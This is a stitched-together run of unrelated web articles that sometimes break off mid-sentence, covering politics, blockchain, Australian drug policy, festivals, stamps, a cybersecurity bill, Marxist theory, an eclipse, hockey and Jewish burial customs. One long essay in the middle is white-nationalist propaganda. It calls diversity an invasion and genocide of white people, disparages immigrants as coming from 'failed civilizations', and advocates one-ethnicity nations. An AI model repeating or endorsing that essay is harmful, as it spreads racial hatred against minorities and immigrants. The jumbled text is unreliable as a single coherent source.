This is how far out of touch with reality Fox News and the Republican Party are. They got their chance to sit down with the president, and don’t bother to ask about the things that the American people really care about, like jobs and the economy. Instead, they use the time with the president to talk about nonsense like the ACA website, Benghazi, and the IRS.
The O’Reilly interview wasn’t a tough discussion of issues. It was crazed conspiracy theories. O’Reilly was so far out of touch with reality that he should have asked Obama about alien abductions, and the whether the moon landing was real or faked.
President Obama did a great job, as O’Reilly and Fox News fell flat on their faces in front of the biggest TV audience of the year.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:When some of the world’s biggest banks and companies start taking an interest in blockchain technology, it’s time to listen up.
Rallied in the Ethereum Enterprise Alliance, financial titans like JP. Morgan and Credit Suisse made it very clear the technology’s potential for streamlining and securing transactions was a force to be reckoned with. And next Tuesday you’ll get a chance to ask all your questions at the upcoming session of the Philadelphia Ethereum Blockchain Meetup.
James Slazas, director of financial products at Brooklyn-based ConsenSys, will be the main speaker for the event, part of Philly Tech Week 2017 presented by Comcast. Slazas, who advises financial institutions on blockchain strategy, will share insights into the Alliance’s purpose.
“I think people should come for exactly the same reason I want to come,” organizer Thomas Rush said. “To learn more about this development.”
(For more background on what Ethereum is and why it’s not going anywhere, read this primer on the subject over on our sister site Technical.ly Brooklyn.)
-30-An organisation that has been advising Australian governments on alcohol and drug policy for almost half a century shut its doors on Friday.
The Alcohol and Other Drugs Council of Australia, which has operated since 1966, was placed in voluntary administration in November after Assistant Health Minister Fiona Nash decided it would receive no further funding.
Fiona Nash: Under fire over ties to industry lobbyists. Credit:Andrew Meares
Senator Nash told a parliamentary hearing this week she had refused requests to meet with the chief executive and board of the council, instead giving her then chief of staff, Alastair Furnival, the job of breaking the news to the organisation.
Mr Furnival resigned two weeks ago following revelations about his role in taking down a healthy food rating website and his co-ownership of a company that had lobbied for the junk food industry. The company had also performed work for the liquor industry as recently as 2012.Meeting in D.C., GOP governors look to 2012 race GOP governors look to 2012 presidential race
On one side were Southern governors — including Bobby Jindal of Louisiana, Haley Barbour of Mississippi and Mark Sanford of South Carolina. All three are outspoken critics of Obama’s $787 billion plan to jolt the economy through investment in education, health care and transportation and have said they are likely to reject some of the stimulus funding.
Jindal and Sanford are considered likely presidential candidates in 2012, but have demurred when asked about their future endeavors.
On the other side were the coastal moderates — including Florida Gov. Charlie Crist and California Gov. Arnold Schwarzenegger — who have embraced Obama’s stimulus plan as an important, if imperfect, means of bringing their states out of recession.
In the middle is another likely 2012 contender, Minnesota Gov. Tim Pawlenty, who has criticized the stimulus bill but nonetheless plans to accept the money for his state.
Not present at the governor’s meeting was Alaska’s Sarah Palin, arguably the GOP’s biggest star. John McCain’s running mate is viewed as a top prospect for 2012 — but that doesn’t mean other governors are standing by.
Sanford, 48, the stimulus bill’s most ardent opponent among governors, acknowledged Sunday that there “may not be much of a national appetite right now” for his strict anti-spending philosophy.
He said it was all part of his commitment to bedrock conservative values, which he believes are the key to a Republican resurgence. “For Republicans, it’s the larger conservative theme of walking the walk on taxes and spending.”
Jindal, at 37 one of the nation’s youngest governors, echoed Sanford’s view that the GOP failed by straying from core principles.
“Our Republican Party got fired with cause these last two election cycles. We became the party that defended spending, corruption that we never should’ve tolerated, and we stopped offering relevant solutions to the problems that Americans care about,” Jindal told NBC’s Meet the Press.
Crist, 52, who campaigned with Obama in Florida to pass the stimulus, hinted that Republicans might be making a mistake by defining themselves in opposition to the plan.
“In the Florida way, we work together in a bipartisan fashion to do what’s right for the people,” Crist said on Meet the Press.
While Pawlenty, 48, refused to say whether he’d run in 2012, he also expressed frustration with the GOP for failing to appeal to a broader cross-section of voters. “Whoever runs needs to bring a fresher voice and face to the party.”6th Knoxville Asian Festival Aug 25th 2019, 11AM – 8PM @World's Fair Parks - FREE For Public
The 6th annual Knox Asian Festival is planned for August 25, 2019. 11AM - 8PM. Similar to past events, the 2019 Festival will feature authentic traditional food vendors representing Asian countries, such as Thailand, Indonesia, Laos, Malaysia, India, Burma, Korea, China, Japan, Philippines, Cambodia and Vietnam.
We are especially proud of the featured performance art that includes traditional Chinese, Korean, Vietnamese, Thai, Indian, and Philippine dance. We also showcase various martial arts demonstrations, K-Pop and J-Pop performances, Chinese professional musicians, a bonsai exhibition, a cosplay contest, Japanese tea ceremony, and Japanese drummers from Disney World. Many of our artists travel to Knoxville from different US cities and from various Asian countries to participate in the Festival. 1,250 seats available under the roof for big stage.
We are creating Knox Epcot educational & Fun booth. The Asian Festival also includes a strong educational component. We recently implemented “Kid’s Asian World,” where our young visitors travel through booth that are named for Asian cultural interactive activities and feature traditional foods and art for each. Children/adults receive a stamp in their Festival passport for each cultural booth visited.. Children are encouraged to visit all cultural booth to learn about the diversity of cultural traditions.
New project : We will host 1 week long Cultural & Business manner seminar. We partner with Knox Chamber. If you are interested in learning about cultures, Please join us. We also have Business park for you to join us to introduce your products and service.
Apply online https://www.knoxasianfestival.com/vendors
Asian Film Festival is on Aug 24th.
Join us and celebrate with us!
Email : asianfestivalknox@gmail.com
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Facebook; Twitter; InstagramThe most valuable stamp in the world is a red smudge, but the coolest postal payments just might be these itty bitty stickies from 1970s Bhutan. They'd legally get your letter where it needed to go, and play the country's national anthem (yes, really!).
Bhutan—a somewhat isolated (and very happy) kingdom bordered by India and China along the Himalayas—might seem like an unlikely spot for philately innovation. But it's become a kind of hub for novelty stamps since starting to produce its own in the 1950s—and the backstory that sounds like some kind of bizarro Lost Horizon-style Shangri-La. The concept was hatched by an American entrepreneur and all-around swashbuckling guy named Burt Todd at the request of the Bhutanese royal family, who were hoping to give their nation a bit of an economic kick with these international calling cards.
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After early efforts experimenting with "3D" effects (which look like lenticulars) and materials ranging from silk to gold foil, these fully-functional records—the "first talking stamps"—were created to play clips from the national anthem or a history of Bhutan (narrated by Todd himself, natch). WFMU has a couple clips (via Dangerous Minds) that you can listen to here and here.
Decades later, after Todd's death in 2006—tangential, but you really should read his obit in the New York Times—they released a few set with CD-ROM capabilities, which, like the vinyl, can still be found with a little searching on Ebay. No word on whether you need a Lilliputian phonograph to go along with it. Here's hoping the VR, Oculus Rift-enabled collection is coming soon. [Dangerous Minds; Bhutan Philately; Bhutan Postage Stamps; New York Times]It took more than four years for the Senate to pass a cybersecurity bill. As the legislation grew stale amid compromise and contention on the Senate floor over the years, hackers continued to refine their criminal craft and develop more sophisticated methods of attack. As a result, the bill approved on Tuesday by a vote of 74 to 21 will likely be ineffective in the prevention of cybercrime but it has also been criticized for the litany of privacy issues it could potentially introduce. At its best, the bill—the Cybersecurity Information Sharing Act (CISA)—has been hailed as a step in the right direction in the fight against cybercriminals.
What the Bill Entails
At a base level, CISA essentially encourages the flow of information between actors about cybersecurity threats. Under the bill, government agencies, corporations and other organizations would be required to share any information with one another that could potentially help identify cybercriminals and potential threats so these groups would be more equipped to protect and defend themselves.
The House passed two bills similar to CISA back in April, the Protecting Cyber Networks Act and the National Cybersecurity Protection Advancement Act. Both of the bills also focus on information sharing in the fight against cybercrime. The Senate bill will have to be reconciled with these two bills and ultimately a combination of the three pieces of legislature will make its way to the White House. Then President Obama will decide whether or not to sign the bill into law.
The Likely Efficacy of Information Sharing
Experts in the cybersecurity space have called into question how effective CISA will actually be in the ongoing blitz of cyberattacks.
“In theory it is a great idea, but when we take the legislation from theory into practice it breaks into two areas. Information sharing is positive with synergistic benefits to the companies under attack. However, forcing engagement rules will slow the process down,” Shlomo Touboul, CEO of cybersecurity company Illusive Networks, said. “Cyber attackers are organized like malicious, agile start-ups that don’t require consensus for success, while government legislation and consortiums don’t move at the same speed as a cyberattackers.”
Many argue that cybercrime evolves at a rate that not only outpaced the Senate’s legislation but that makes the sharing of information across companies is effectively useless because in many cases by the time this happens, it is too late for corporations to defend themselves.
“Hackers are changing their methodologies in milliseconds. Information sharing is going to take days, weeks and months. Will this idea keep up with the pace of sophisticated hackers? That is the question that needs to be asked,” Craig Newman, an expert on cyber law and chair of the Privacy and Data Security practice at Patterson Belknap Webb & Tyler LLP.
Newman did not argue that information sharing isn’t an important element of cyberthreat assessment but stressed that it is very unlikely that CISA would have prevented some of the most damaging data breaches that have graced news headlines in recent months such as those experienced by Experian, OPM, Anthem, Home Depot and Target.
Others make the point that this type of information sharing is already happening amongst companies.
“While cyber defense, security and safety should be a top national priority, the time the federal government continues to spend on CISA demonstrates that’s not the case. Threat intelligence is already being shared bountifully. It is the processing of that information, the application of that information, the operationalizing [sic] of that information, and finally the incorporation of that information into an overarching cyber strategy and risk mitigation platform that is sorely lacking,” Ben Johnson, Chief Security Strategist at Bit9 + Carbon Black, an endpoint security company, said. “Threat intelligence sharing is not the problem.”
CISA and the Privacy of Individuals
The Senate bill has also been criticized for lacking clarity, which has raised privacy concerns among opponents. The bill does not clearly define how cyberthreat information is going to be shared in the private sector, nor does it outline how that information will be managed and disseminated.
“At its core, the biggest issue is that there is enough vagueness and lack of clarity in CISA that privacy concerns are very warranted. If we were to engage those concerns, we would want to do so because there are upsides and benefits from CISA,” David S. Levine, a professor at Elon University School of Law. “In the case of this bill, it does little to nothing to actually address the problem of cybersecurity because it is an information sharing bill where information is already being shared.”
Levine, who is also affiliated with the Princeton Center for Internet and Society and the Stanford Center for Internet and Society, was among a group of professors who penned a letter to the Senate in opposition of the bill. The American Civil Liberties Union, the Electronic Frontier Foundation and the Center for Democracy and Technology have also spoken out in opposition of CISA. Privacy advocates argue that CISA is more of a surveillance bill than a cybersecurity bill in that it encourages private companies to share individuals’ personal information with government agencies that can then be used for investigations outside the scope of cybercrime investigations.
“The threat information that can be shared is defined broadly and functionally. That’s kind of necessary because nobody knows how technology will evolve and what types of information might need to be shared in the future, so you don’t want strict technical definitions,” Greg Nojeim, the Center for Democracy and Technology’s Senior Counsel and Director of the Freedom, Security and Technology Project, said. “The counter balance to that should be strong use restrictions. If you are going to have a broad sharing authorization, at least have a strong use restriction so that which you share can only be used for the purpose for which it was shared.”
How the information can be used is one major differentiating characteristic between CISA and the two information sharing bills in the House and one that will have to be reconciled before a cybercrime bill makes its way to the White House. Another major concern of dissidents is that it is unclear to what extent companies will be required to anonymize the information that they share with other entities.
“In other words if you are doing a basic cost-benefit-analysis, there are gigantic costs and risks associated with this bill, with little or no upside on the very real issue of how to assess cyber espionage and cybersecurity issues,” said Levine. “I am not questioning the motivations. I am questioning whether there are any benefits worth all of these risks.”
There are, however, some aspects of CISA that privacy advocates are in favor of which they would ultimately like to see included in the final legislation. The Senate bill limits counter measures, which is intended to prevent the practice of ‘hacking back.” The bill also requires notice to an American whose personal information was shared illegally under the bill. Again, the greatest issue opponents raise is that how the information obtained under CISA can be used is too broad.
“It’s ironic that so close on the heels of the Snowden disclosures, Congress would be poised to pass legislation that will channel more personal information of Internet users to the NSA unnecessarily,” stated Nojeim.
The Starting Point, Not the Finish Line
Many, however, view the fact that the Senate passed a cybersecurity bill at all is a success in itself.
“Perfect is the enemy of the good and the reality is that legislation is a function of compromise,” Pat Peterson, the CEO and Founder of cybersecurity provider Agari, said.
Peterson added that while he doesn’t view the bill as a panacea and that it is unlikely to stop cybercrimes, it is another tool in the tool belt—even if it is imperfect.
“I think that Congress’s job is not to prevent crimes. They are not Superman or Batman and Robin. They can’t actually stop a threat action from doing something but what they can do is give us the playing field and the clear rules of the road upon which the public and private sector can combat the harm. That is what they are doing here,” said Peterson.
Newman too believes that the responsibility to fight cyberthreats doesn’t solely belong to Congress, but that there is still a long way to go. The Senate bill is just the starting point.
“Cybersecurity is a shared responsibility. It doesn’t solely rest in the lap of the government or the private sector,” said Newman. “It has to be a collaborative effort but it goes beyond U.S. borders. Cybersecurity is a global issue and while this bill allows for information sharing by U.S. companies with law enforcement, it doesn’t address the bigger issues of global cybersecurity and the fact that global cybersecurity breaches have come from state actors.”The following letter (dated 04.09.69) led to the dissolution of the group that had begun to form on the basis of the positions set forth in Invariance. The letter opened an important area of reflection and debate that has gone on since, certain conclusions of which have already been discussed in “Transition”, no. 8, série 1.
Although certain points raised by the letters have been partially dealt with, others have hardly been touched upon. That’s why it’s necessary-given the importance of making a more clean break with the past-to publish it now. Our publishing it should enable the reader to appreciate the work accomplished thus far, and what still remains to be done.
Since it is simultaneously a break (and thus a conclusion) and a point of departure, the letter contains a certain number of imprecisions, seeds of possible errors. We shall indicate the most important ones in a note. In addition, since it was possible for us then, once we had rejected the group method, to outline “concretely” how to be revolutionaries, our rejection of the small group could have been interpreted as a return to a more or less Stirnerian individualism. As if the only guarantee from now on was going to be the subjectivity cultivated by each individual revolutionary! Not at all. It was necessary to publicly reject a certain perception of social reality and the practice connected with it, since they were a point of departure for the process of racketization. If we therefore withdrew totally from the groupuscule movement, it was to be able simultaneously to enter into liaison with other revolutionaries who had made an analogous break. Now there is a direct production of revolutionaries who supersede almost immediately the point we were at when we had to make our break. Thus, there is a potential “union” that would be considered if we were not to carry the break with the political point of view to the depths of our individual consciousnesses. Since the essence of politics is fundamentally representation, each group is forever trying to project an impressive image on the social screen. The groups are always explaining how they represent themselves in order to be recognized by certain people as the vanguard for representing others, the class. This is revealed in the famous “what distinguishes us” of various small groups in search of recognition. All delimitation is limitation and often leads rather rapidly to reducing the delimitation to some representative slogans for racketeerist marketing. All political representation is a screen and therefore an obstacle to a fusion of forces. Since representation can occur on the individual as well as the group level, recourse to the former level would be, for us, a repetition of the past.
Camatte, 1972
“Both of us scoff at being popular. Among other things our disgust at any personality cult is evidence of this. I have never permitted anyone to make publicity out of the numerous testimonials of admiration with which they’ve overwhelmed me in various countries… When Engels and I first joined the secret society of communists, we did it on the condition sine qua nonthat they repeal all statutes that would be favorable to a cult of authority.” Marx to Blos – 10.11.1877, MEW 34, p. 308.
“It is possible to avoid the dirt in bourgeois intercourse or in its trade? Dirt is its natural element…. The honest infamy or the infamous honesty of the solvent morality appear to me not a bit superior to the unrespectable infamy which neither the first Christian communities nor the Jacobin club, nor our own deceased League could free themselves of entirely. In bourgeois intercourse, however, you get used to the fact that you lose your sense of respectable infamy or of infamous respectability.” Marx to Freiligrath – 29.02.1860, MEW 30, p. 492.
The establishment of capital within material existence and therefore within the social community is accompanied by the disappearance of the traditional personal capitalist, the relative, and sometimes absolute, diminution of the proletariat, and the growth of new middle classes. Each human community, no matter how small, is conditioned by the mode of existence of the material community. The present mode of existence derives from the fact that capital is able to valorize itself, therefore exist and develop, only if a particle of it, at the same time that it becomes autonomous, confronts the social ensemble and places itself in relation to the total socialized equivalent, capital. It needs this confrontation (competition, rivalry); it exists only by differentiation. From this point, a social fabric forms based on the competition of rival “organizations” (rackets).
“It reproduces a new financial aristocracy, a new variety of parasites in the shape of promoters, speculators and simply nominal directors; a whole system of swindling and cheating by means of corporation promotion, stock issuance, and stock speculation. It is private production without the control of private property.” Capital (International Publishers), Vol. III, p. 438].
“Expropriation extends here from the direct producers to the smaller and the medium-sized capitalists themselves. It is the point of departure for the capitalist mode of production; its accomplishment is the goal of this production. In the last instance it aims at the expropriation of the means of production from all individuals. With the development of social production, the means of production ceases to be means of private production and products of private production, and can thereafter be only means of production in the hands of associated producers, i.e. the latter’s social property, much as they are their social products. However, this expropriation appears within the capitalist system in a contradictory form, as appropriation of social property by a few; credit lends the latter more and more the aspect of pure adventurers”. Ibid., pp. 439-440.
As home of the production process (the creation of value), the business enterprise restrains the movement of capital, fixes it at a particular location. It therefore must overcome this stabilization, lose this fixed character. So the propertyless enterprise arises, which still allows for a mystified yield form of surplus value. Here the constant capital is equal to zero, so only a small advance of capital is necessary to get the “business” rolling. Finally, there are even fictitious enterprises, thanks to which the most unchecked speculation develops.
“Today, capital constantly appears in the form of an “organization.” Behind this word-synonymous, in the glorious days of labor conflicts, with brotherhood in an open struggle, but now merely a hypocritical fiction about common interest among businessmen, administrators, technicians, unskilled workers, robots and watchdogs-behind the inexpressive and anti-mnemonic trademarks of the companies, behind the terms “elements of production” and “stimulation of national revenue, “capital still fulfills its old repulsive function; a function far more unworthy than that of the entrepreneur who personally |
in the forecast until late Monday night. The high is projected at 86 degrees, according to Weather.com.
Could this forecast change? In short, yes.
"There could be some changes in the forecast, particularly with respect to cloud cover tomorrow," Considine said. "So there’s certainly a chance we could get some breaks in the afternoon. But it’s looking pretty cloudy."
Where to go?
So that's a bit of a bummer. So what now? Well, if there is too much cloud cover where you're at, you can still view the solar eclipse in all its glory on your phone thanks to USA TODAY Network.
That, or you can try to make a last-minute drive to somewhere where the eclipse may be more visible. The Upper Peninsula is projecting less cloud cover, but still in the 40-50% range, according to this National Weather Service map.
Another option is to drive down south to Kentucky or Tennessee, where the path of totality crosses. But be wary of extra traffic headed that way because you won't be the only one heading there!
The Pacific Northwest and Tennessee Valley still look like prime viewing locations for Monday's #Eclipse. #Eclipse2017pic.twitter.com/Pl45wXwpKM — NWS WPC (@NWSWPC) August 20, 2017
[Unfortunately, you'll probably be dead before Michigan's next total eclipse.]
Contact Brian Manzullo: bmanzullo@freepress.com. Follow him on Twitter@BrianManzullo.
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Read or Share this story: http://on.freep.com/2xfVD8SIt has become common to bemoan the sorry state of politics, what with all the big money, dirty tricks, image molding, partisan gridlock and general cynicism. Yet voters seem never to cease longing for a leader who can restore pride to high office and rekindle the national spirit.
Sometimes it actually happens. John F. Kennedy will be remembered for his youth and his inspiring call for sacrifice in his Inaugural Address. For all the tribulations of his presidency, Barack Obama’s election was a shining moment for Americans. Now Canada is having its moment with Justin Trudeau, the new prime minister.
Since his election victory, in which his Liberal Party soared to 184 seats from 34 in the Canadian Parliament, the 43-year-old Mr. Trudeau has exuded youthful exuberance. He rode a bus to his swearing-in, he walked through the streets carrying his kids, he mixed with the crowds. He introduced a stunningly diverse cabinet, half of it women and including two indigenous Canadians; three Sikhs, one a military hero; the first Canadian in space; and two ministers with disabilities.
His intent, he explained simply, was to “present to Canada a cabinet that looks like Canada.” When asked why an equal number of men and women, his response was even more refreshing: “Because it’s 2015.”Edit: I was itching to clean it up :') And I managed to color it a lot quicker this time WOOOOIf anyone liked the sketchy version better:--I really have no idea what to write for the titleMade this during yesterday's stream, took about 3 hours! It could have taken almost half this time if not for the coloringit was a real pain. I'll have to figure out a quicker way to color things in TVPaint.But yeah, here's a quicky sketchy animation of Sans thingy... dancing to musicy?? I tried to make it in sync with Undertale's "Undertale" OST but it's slightly off :') oh well, let's say as an excuse that he's too lazy to stay in sync. He's so fun to animate7 frames, it's short enough that I might clean it up... IF THE COLORING PART IS QUICKER THIS TIME. Or I'll see if someone wants to add the colors for me :')--Undertale and Sans © Toby FoxAnimation © Meby Brett Stevens on January 23, 2017
Human beings react to life much like a sapling being pushed back by an unwary hiker. They will bend until they are about to break and then, because they have nothing to lose, will become an equal and opposite force — but released in an instant — to what has pushed them down. The sapling will snap or snap back, and the hiker will go home bloodied.
Since The Enlightenment,™ the best minds of humanity have been spent trying to invent “hacks” — unorthodox improvisations — which will make the idea of government-by-equality work. Our first stab was democracy, but that proved unstable, so in 1789 the Americans came up with a brilliant document, the Constitution, which was designed through an extensive system of hooks and levers to limit the impulses of the herd that come with pure democracy, or “mob rule” as it is more accurately described.
People put great faith in each one of these hacks because they know, on some instinctual level, that Western Civilization is in decline and totally unstable. As a result, they are under constant stress which is (somewhat) alleviated by the illusion of stability. Since WWII, the prevailing doctrine has been what came out of the American civil war: we had to destroy democracy in order to save it, and instead must have a powerful government that enforces the “correct” ideology on all of us. That was kept in check until its competition, the Soviet Union, fell, and in the ensuing monopoly the American experiment truly went off the rails, taking Europe with it, ending up with a new USSR in the US/EU.
One of the cornerstones of this new empire is diversity, or the idea that equality extends beyond class to race, and therefore, that the correct ideology is to accept having people from many ethnic origins in the same society. Like most Leftist programs, this clashes with reality and so requires constant laws, arrests, censorship, lawsuits and ostracism lynchings in order to make it appear to work in the short-term at least.
The perceived necessity of diversity made it a type of superpower for government. Much as they once found the voters were afraid not to approve of any help destined for “the poor,” big governments now found that voters were afraid not to approve of anything that benefited diversity. And so, diversity crept into every aspect of our lives, following “civil rights” agendas where anyone who excluded a diverse person was assumed to be guilty and punished monetarily, which brought business on-line with the regime.
But in 2016, something extraordinary happened. People looked around and said, “We did everything the politicians told us to do, and even elected a black president. But this has made the diversity crisis — ‘race relations’ — worse, as if it only emboldened these diverse groups. They behave as if, in the private truths they keep to themselves, they believe they are our enemies. And in fact, it makes sense that they would want to conquer us, since that is the only way they are really going to feel victorious about having come here as hired help from failed civilizations.”
The sapling whips back.
The founding group of America — Western Europeans, also called WASPs — tend to be non-confrontational people until they are actually endangered. For them, it is easier than for most to simply work around impediments and then go on to do what they enjoy doing, which is being effective at work, play and invention. This is classic behavior of a high-IQ society.
But, now that diversity has revealed itself as exactly what all of the bad boys of history said it was — an invasion, a conquest and a genocide — American Western Europeans (AWEs) are striking back. Their first step is to put themselves in a defensive posture: buy guys, buy gold and canned goods, and get away from the problem:
It’s about how many white people have reacted to increasing exposure to nonwhite populations, who are following in their footsteps and pursuing the traditional American dream. The reaction is not always articulated or even intentional; in fact, most people say they want to live in a diverse and integrated community; they, too, have the dream that no one will be judged by the color of their skin. But data shows that as minorities move into suburbs, white families are making small and personal decisions that add velocity to the momentum of discrimination. They are increasingly choosing to self-segregate into racially isolated communities — “hunkering down,” as Lichter likes to call it — and preserving a specific kind of dream. …A growing number of people are worried about the country becoming majority minority, including one in three Trump supporters. And more than half of white Americans believe the country’s “way of life” needs to be protected against foreign influences.
These new white enclaves are different from the old type of white flight which saw people going to whitopias, or areas that were at least mostly white so that they could avoid the problems of diversity. The new flight is not from problems, but from diversity itself, because diversity savages trust and trust is essential for high IQ societies to function.
This is echoed by statements made by those who retreat to white enclaves:
“A country can have racism without racists.” Writing in an opinion piece for The Washington Post in 2009, Benjamin noted that racial discrimination isn’t necessarily as deliberate and intentional as it used to be. In Idaho and Georgia, for example, Benjamin found that many white people emigrate to these predominantly white communities not necessarily because they’re racist, but for “friendliness, comfort, security, safety — reasons that they implicitly associate to whiteness in itself.” But these qualities are subconsciously inseparable from race and class — thereby letting discrimination and segregation thrive “even in the absence of any person’s prejudice or ill will.”
The first inklings of changing white attitudes came during the early years of the Barack Obama presidency, when a petition to stop white genocide made the news, even in the big liberal papers:
“Africa for Africans, Asia for Asians, White countries for EVERYBODY?” he writes. “White countries are being flooded with third world non-whites, and Whites are required by law to integrate with them so as to ‘assimilate,’ i.e. intermarry and be blended out of existence.” He says that this is a violation of the United Nations Convention against genocide. Thus, he is petitioning President Obama to “end White Genocide in the United States, and to call for the end of White Genocide in Europe, Britain, Australia, New Zealand and Canada.” And Albert ends with this. “Supporting White Genocide is not anti-racist. It’s anti-white!”
This means that white people no longer think of the threat of diversity as a threat from individual groups or individuals within those groups. If they did, they would have laughed off the white genocide petition instead of reading about it eagerly. Now they recognized that the threat is diversity itself, and that they will not be allowed to have whitopias; instead, they will be milked for tax money and then eliminated.
Here is where government understands nothing of the human mind. Diversity is strictly speaking not necessary; that is, if it went away, white people would resume doing the things they once did that are now served by a minority underclass, and costs would go up, but other costs — taxes, insurance, crime, riots — would go down and so things would equalize.
The problem for politicians with policies that are not strictly necessary is that people treat them as binaries. They either support them, or want them gone entirely. The politicians, smelling money and power, managed to sell diversity for many decades. But now that it has shown us its true nature, people want it gone. They are leaving it behind and have elected Donald Trump to prevent them from being obligated to it.
If Trump really wants to go down in history as the best American president, he will find a way to abolish “civil rights” style laws like affirmative action through a bill passed in Congress or an amendment to the Constitution. This way, his work cannot be undone when we have a few really good years and the voters go back to sleep and elect the next Leftist parasite.
Trump instead is taking a difficult path, probably moving indirectly to make immigration to the United States so uncertain and expensive that few will attempt it, while squeezing the illegals by going after those who hire them, thus strengthening his government with an infusion of fines. Currently his attempt is to reinforce the “proposition nation”, but add qualifiers that amount to being obstacles for most immigrants worldwide:
Trump espoused his worldview in remarkably few words. He is a vituperative critic of the post-Cold War international system. Where the architects of that system see it as a bulwark of stability and global prosperity, Trump sees it as diminishing the United States in favor of foreign countries and an international class of wealthy political and financial elites. Washington has been serving its own interests, he said, and not the people’s. That ends now. His America will turn inward, focusing on domestic stability, education, infrastructure, and jobs. The one exception will be the fight against Islamic terrorism, where Trump is prepared to join with autocracies in pursuit of common goals. Trump forcefully rejected identity politics. Racial and ethnic identities, he said, are less important than our status as American citizens. “When you open your heart to patriotism, there is no room for prejudice.” There are no hyphenated Americans in this worldview, only Americans and outsiders. And Americans are to be privileged over outsiders. It’s been said that American presidents are replaced by their opposites. What a contrast to Barack Obama’s second inaugural address, where he called for a “world without walls.”
As others have observed, this is dangerously close to JFK’s policy. We know Trump admires both JFK and Reagan, both of whom were moderates to a realistic person but are far-right to mob rule crazed egalitarians, but his spin on the JFK rule is to stop accepting lower-value immigrants. This defers the diversity problem, legally, but may have ripple effects by making an application for citizenship the opposite of a sure thing, encouraging would-be immigrants to look elsewhere. Watch Europe adopt similar rules in the coming months.
Trump is acting indirectly and it remains to be seen whether he will cuck or not. However, a rising tide of acknowledgement that diversity has failed — following the recognition in Samuel P. Huntington’s The Clash of Civilizations And The Remaking Of World Order that after liberal democracy comes world nationalism — shows us that the people want this to be the first step, an indirect stab at removing diversity, because it is now becoming clear that coexistence between different groups is fatal:
When asked by Jamie Weinstein, senior editor and columnist for The Daily Caller, whether a Jew could be elected mayor of Ramallah in an independent Palestinian state, Areikat said, “after the experience of 44 years of military occupation and all the conflict and friction, I think it will be in the best interests of the two peoples to be separated first.” Areikat added that “Well, I personally still believe that as a first step we need to be totally separated, and we can contemplate these issues in the future.”
The die is cast. Americans and Europeans want escape from diversity. This is not limited to opposing immigration; they want diversity to end, at least as a compulsory policy, and if the mood is consistent, as a policy at all. They want us to go back to the order before diversity, having recognized that we have been misled by feelings of guilt, but that any obligation we have to other groups lies in the past, not the future.
This was apparently even a few years ago, when the UK discussed its guilt-fetishism:
Mr Hague said he was not alive when the then prime minister Harold Macmillan made his famous “wind of change” speech in 1960 – acknowledging independence movements across Africa. …”Britain in seen in a different light. We have to get out of this post-colonial guilt. Be confident in ourselves. The lessons we should take from the admitted need for austerity, saving money, is that we actually need to be more ambitious, not less.” The UK, he suggested, should “just relax” about its role as an imperial power and the legacy of that period in its history, adding that “it is a long time ago, the retreat from empire”.
If history is any guide, the pendulum of Hegel has swung one way and then the other, and has settled in the middle. We tried colonialism, then we tried inverse colonialism by inviting everyone here, and neither contributed to our well-being, so it is time to try something new and yet time-proven, namely nationalism, the idea that each nation consists of one ethnic group only and that it belongs to whatever group founded that society.
Tags: affirmative action, civil rights, class warfare, diversity, equality, immigration, internationalism, multiculturalism
Please enable JavaScript to view the comments powered by Disqus.Colton Orr has pronounced himself fit to return from a concussion — and, in doing so, has illustrated why the Leafs consider him such a dedicated warrior. In a press conference Friday to open Leafs camp, Orr spoke publicly for the first time about his recovery from a Jan. 20 fight in Anaheim in which he sustained a concussion that essentially ended his season.
Leafs enforcer Colton Orr says he's fully recovered from the concussion that prematurely ended his 2010-11 season. ( VINCE TALOTTA / TORONTO STAR )
“Any time you have (a concussion), I think we’re always concerned,” Orr said. “I went through a lot of testing. I had the best doctors and great support from the team. I’m ready to play, ready to drop the gloves or whatever it takes to do my job.” That announcement comfortably settled questions about his health and provided another perspective on the sensitive subject of concussions and head shots in the NHL.
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Rather than touch on concerns about his own well-being, the 29-year-old, who is among the NHL’s most prolific pugilists, instead stood behind his on-ice role. “It’s been a tough job so there’s always concern,” he said. “But it’s my job, it’s the choice I’ve made and I love being in the NHL and standing up for my teammates.” That sentiment spoke volumes about why the Leafs see him as a valuable part of their team going forward, even as other teams are steering away from enforcer-type players. Tampa Bay GM Steve Yzerman, for example, has said he will not open a roster spot to a player whose only role is fighting. Orr’s comments also came in the still-sensitive aftermath of the deaths of three NHL enforcers over the summer — Derek Boogaard, Rick Rypien and Wade Belak. Belak’s death touched off debate about the possible connection between depression — which Belak suffered from, according to his mother and a number of friends — and the duties of a hockey enforcer.
Several past and present NHL fighters argued bitterly against the suggestion that the tragedies that befell the three late players were linked to their roles as enforcers. Amid the controversy, Orr said that he’s just focused on going out and doing his job.
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“There’s always speculation about fighting, but that’s out of my control,” Orr said. “But for young guys there’s support (for depression sufferers) and older guys who you can talk to and they’ll help you out.” Orr was never abandoned by the Leafs in his recovery from his concussion, and remains the Leafs’ enforcer. He was ensured he would have a job to return to when he was healthy. Orr suffered his injury during a fight with Anaheim’s George Parros in which he was punched, then taken to the ice where he struck the surface headfirst. “I got hit and I hit the ice. I experienced concussion symptoms. I needed time to rest and heal,” Orr said. “I was a rare case, a lot of my stuff showed up on MRI, cognitive tests, where I didn’t show the results like they should be.” Initial reports suggested Orr might be ready to play again with about two weeks remaining in the season. But he was shut down for the 2010-11 campaign and his health status was left somewhat of a mystery until Friday’s announcement. Despite the injury, Orr said he didn’t consider the possibility that his playing days were over. “I never had that in my head,” he said. “I’ve always had in my mind that I was playing, that I’d come back and help the team.” When asked if he feared that his style of play could cost him his career, he said: “No, I will play my game. “The biggest thing is to stay in shape and stay healthy, but I’ll play my game for sure.”
Read more about:By Jessica Ravitz, CNN
(CNN) - The four victims of Monday’s shooting at a Jewish school in Toulouse, France, were buried Wednesday morning – not in their home community but, after an overnight flight from Paris, in Jerusalem.
Though two of the young victims were born in Israel, the Consistory of Paris, which represents Jewish communities, told CNN that all the victims were being buried there for reasons of faith, not nationality. Being laid to rest in Israel, the birthplace of Judaism, ensures that their remains will not be tampered with, the group said. It also added that 40% of practicing French Jews are buried in Israel.
French religious Jews aren’t alone in wanting this, and the reasons run deep.
“It goes all the way back to the Bible, when Jacob passed away,” explains Rabbi Shaul Ginsberg, who oversees Shomrei Hachomos, an Orthodox funeral chapel in Brooklyn – which he says is one of three Orthodox funeral homes in New York state.
Before Jacob passed away, Ginsberg says, “One of the things he said to Joseph is, ‘Don’t leave me in Egypt.’”
CNN's Belief Blog – all the faith angles to the day's top stories
He wanted to join those who had died before him, including his grandfather, Abraham, who received the first Jewish burial, Ginsberg says.
